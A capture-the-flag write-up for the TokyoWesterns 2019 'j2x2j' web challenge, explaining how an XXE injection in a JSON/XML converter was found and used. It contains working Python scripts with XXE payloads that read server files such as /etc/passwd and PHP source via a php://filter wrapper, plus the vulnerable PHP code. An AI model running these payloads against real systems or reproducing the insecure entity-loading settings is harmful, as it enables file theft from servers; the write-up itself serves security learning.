Writeup: TokyoWesterns 2019 - j2x2j

Information

  • category: Web
  • points: 59

Description

Here is useful tool for you.

http://j2x2j.chal.ctf.westerns.tokyo/

Writeup

The page shows an input (left) to insert a JSON string; the webapp will just convert this string to a valid XML and viceversa. Obviously the JSON/XML string is validated before being converted.

Source code of the page (HTML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html>
<head>
<title>JSON <-> XML Converter</title>
</head>
<body>
<textarea id="json" name="json" rows="50" cols="80"> </textarea>

<input type="button" id="x2j" value="<-" />
<input type="button" id="j2x" value="->" />

<textarea id="xml" name="xml" rows="50" cols="80"> </textarea>

<script
src="https://code.jquery.com/jquery-3.2.1.min.js"
integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
crossorigin="anonymous"
></script>
<script>
$.get(
"/sample.json",
function(data) {
$("#json").val(data);
},
"text"
);

$("#j2x").on("click", function() {
$.post(
"/",
{
json: $("#json").val()
},
function(data) {
$("#xml").val(data);
}
);
});

$("#x2j").on("click", function() {
$.post(
"/",
{
xml: $("#xml").val()
},
function(data) {
$("#json").val(data);
}
);
});
</script>
</body>
</html>

From the JQuery’s call we can see that the server also accepts XML data to be converted into JSON. Let’s check if we can exploit this function using XML External Entity (XXE) injection.

Using a better payload:

Since the payload contains some special chars we url-encoded the string inside the xml parameter (Ctrl+U in Burp):

The passwd file is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
_chrony:x:111:115:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
tw:x:1001:1002::/home/tw:/bin/bash
google-fluentd:x:112:116::/home/google-fluentd:/usr/sbin/nologin

Since we can now read files from the file-system using a simple XXE Injection we checked if expected is installed and available to execute arbitrary commands, but no luck…

To improve the speed of the exfiltration phase we wrote a basic script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import sys
import json
from base64 import b64decode

filename = sys.argv[1]
url = "http://j2x2j.chal.ctf.westerns.tokyo/"
payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file://{}" >]><root><content>&file;</content></root>"""
data = {"xml": payload.format(filename)}

r = requests.post(url, data=data)

try:
print(r.json().get("content"))
except json.decoder.JSONDecodeError:
print(r.text)

Since the flag should be in the same directory of the index of the webapp we tried to exfiltrated /var/www/html/flag.txt but the server responded with: failed to decode xml. Even trying to extract index.php (which we know that exists from the default url of the challenge) we got the same result.

To double check the injection we tried some PHP wrapper to exfiltrated the data using base64 strings.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import sys
import json
from base64 import b64decode

filename = sys.argv[1]
url = "http://j2x2j.chal.ctf.westerns.tokyo/"
#payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file://{}" >]><root><content>&file;</content></root>"""

payload = """<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={}"> ]><root><content>&xxe;</content></root>"""
data = {"xml": payload.format(filename)}

r = requests.post(url, data=data)

try:
print(b64decode(r.json().get("content")).decode())
except json.decoder.JSONDecodeError:
print(r.text)

Bingo!

Source code of index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php
include 'flag.php';

$method = $_SERVER['REQUEST_METHOD'];

function die404($msg) {
http_response_code(404);
die($msg);
}

function check_type($obj) {
if (is_array($obj)) {
$key_is_str = function($obj) {
foreach($obj as $key=>$val) {
if (is_int($key))
return false;
}
return true;
};

if ($key_is_str($obj)) {
return 'object';
}
else {
return 'array';
}
}
else {
return gettype($obj);
}
}

function json2xml($obj) {
$res = '';

if (is_array($obj)) {
foreach($obj as $key => $val) {
switch(check_type($val)) {
case 'array':
foreach($val as $v) {
$res .= "<$key>";
$res .= json2xml($v);
$res .= "</$key>";
}
break;
default: // object or primitive
$res .= "<$key>";
$res .= json2xml($val);
$res .= "</$key>";
break;
}
}
}
else {
$res = (string)$obj;
}
return $res;
}


if ($method === 'POST') {
$jsonstr = $_POST['json'];
$xmlstr = $_POST['xml'];

if (!(empty($xmlstr) ^ empty($jsonstr))) {
die404('404');
}

if (!empty($jsonstr)) {
$obj = json_decode($jsonstr, true);
if (empty($obj)) {
die('failed to decode json');
}
$doc = new DOMDocument('1.0');
$doc->formatOutput = true;
$_obj = array();
$_obj['root'] = $obj;
$doc->loadXML(json2xml($_obj));
echo $doc->saveXML();
}

if (!empty($xmlstr)) {
libxml_disable_entity_loader(false);
$obj = simplexml_load_string($xmlstr, 'SimpleXMLElement', LIBXML_NOENT);
if (empty($obj)) {
die('failed to decode xml');
}
echo json_encode($obj, JSON_PRETTY_PRINT);
}
}
else {
?>
<!doctype html>
<html>
<head>
<title>JSON <-> XML Converter</title>
</head>
<body>
<textarea id="json" name="json" rows="50" cols="80">
</textarea>

<input type="button" id="x2j" value="<-"/>
<input type="button" id="j2x" value="->"/>

<textarea id="xml" name="xml" rows="50" cols="80">
</textarea>

<script
src="https://code.jquery.com/jquery-3.2.1.min.js"
integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
crossorigin="anonymous"></script>
<script>
$.get('/sample.json', function(data) {
$('#json').val(data);
}, 'text');

$('#j2x').on('click', function() {
$.post('/', {
json: $('#json').val()
}, function(data) {
$('#xml').val(data);
});
});

$('#x2j').on('click', function() {
$.post('/', {
xml: $('#xml').val()
}, function(data) {
$('#json').val(data);
});
});
</script>
</body>
</html>
<?php
}

The flag is in flag.php.

Flag

TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}